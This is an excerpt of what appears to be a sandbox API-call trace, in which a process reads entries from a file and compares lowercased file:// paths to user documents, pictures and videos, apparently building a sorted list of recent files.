[0079.236] SetFilePointer (in: hFile=0x9c, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300
[0079.236] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.237] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.237] SetFilePointer (in: hFile=0x9c, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300
[0079.237] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.237] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/Z%20EV6VVIkcz7Oa.jpg" | out: _Str="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg"
[0079.237] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned 58
[0079.237] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.237] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.237] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.237] wcslen (_String="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned 0x39
[0079.237] SetFilePointer (in: hFile=0x9c, lDistanceToMove=21504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5400
[0079.237] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.237] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.237] SetFilePointer (in: hFile=0x9c, lDistanceToMove=21504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5400
[0079.237] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.237] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/I%209j2-jQhG2nsO1Jp.docx" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx"
[0079.237] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 69
[0079.237] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.238] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.238] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned -1
[0079.238] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned -1
[0079.238] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 0x44
[0079.238] SetFilePointer (in: hFile=0x9c, lDistanceToMove=21760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5500
[0079.238] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.238] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.238] SetFilePointer (in: hFile=0x9c, lDistanceToMove=21760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5500
[0079.238] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.238] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/DuNmHbeBMli9.odp" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp"
[0079.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 65
[0079.238] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.238] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.238] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.238] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.238] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.238] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 0x40
[0079.238] SetFilePointer (in: hFile=0x9c, lDistanceToMove=22016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5600
[0079.238] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.238] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.239] SetFilePointer (in: hFile=0x9c, lDistanceToMove=22016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5600
[0079.239] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.239] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/HQX_F0EUtGOG0%20oMlrKY.jpg" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg"
[0079.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned 95
[0079.239] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 1
[0079.239] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.239] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.239] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.239] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.239] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.239] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned 0x5e
[0079.239] SetFilePointer (in: hFile=0x9c, lDistanceToMove=22272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5700
[0079.239] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.239] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.239] SetFilePointer (in: hFile=0x9c, lDistanceToMove=22272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5700
[0079.239] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.239] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/E79-i.png" | out: _Str="file:///c:/users/atveydl98z/desktop/e79-i.png") returned="file:///c:/users/atveydl98z/desktop/e79-i.png"
[0079.240] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 46
[0079.240] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/e79-i.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned -1
[0079.240] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/e79-i.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned -1
[0079.240] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/e79-i.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.240] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/e79-i.png", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.240] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/e79-i.png", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.240] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/e79-i.png", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.240] wcscmp (_String1="file:///c:/users/atveydl98z/desktop/e79-i.png", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned -1
[0079.240] wcslen (_String="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 0x2d
[0079.240] SetFilePointer (in: hFile=0x9c, lDistanceToMove=22528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5800
[0079.240] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.240] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.240] SetFilePointer (in: hFile=0x9c, lDistanceToMove=22528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5800
[0079.240] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.240] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/FeTgDD8UmyWfrmFGr.csv" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv"
[0079.240] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned 70
[0079.240] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.240] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned -1
[0079.240] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 1
[0079.240] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.240] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.240] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.241] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.241] wcscmp (_String1="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.241] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned 0x45
[0079.241] SetFilePointer (in: hFile=0x9c, lDistanceToMove=22784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5900
[0079.241] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.241] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.241] SetFilePointer (in: hFile=0x9c, lDistanceToMove=22784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5900
[0079.241] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.241] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/S2ez7rzQ7SrrH.swf" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf"
[0079.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned 66
[0079.241] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned 1
[0079.241] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.241] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned 1
[0079.241] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 1
[0079.241] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.241] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned 1
[0079.241] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.241] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.241] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.241] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned 0x41
[0079.241] SetFilePointer (in: hFile=0x9c, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00
[0079.242] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.242] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.242] SetFilePointer (in: hFile=0x9c, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00
[0079.242] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.242] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/T_iEqztU.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp"
[0079.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned 81
[0079.242] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned -1
[0079.242] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned 1
[0079.242] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.242] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned 1
[0079.242] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 1
[0079.242] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.242] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.242] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.242] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.242] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.242] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned 0x50
[0079.242] SetFilePointer (in: hFile=0x9c, lDistanceToMove=23296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b00
[0079.242] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.242] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.243] SetFilePointer (in: hFile=0x9c, lDistanceToMove=23296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b00
[0079.243] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.243] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/1T8pA5NkyKOTCg.swf" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf"
[0079.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 63
[0079.243] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned -1
[0079.243] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned -1
[0079.243] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned -1
[0079.243] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned -1
[0079.243] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned -1
[0079.243] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned -1
[0079.243] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned -1
[0079.243] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.243] wcscmp (_String1="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
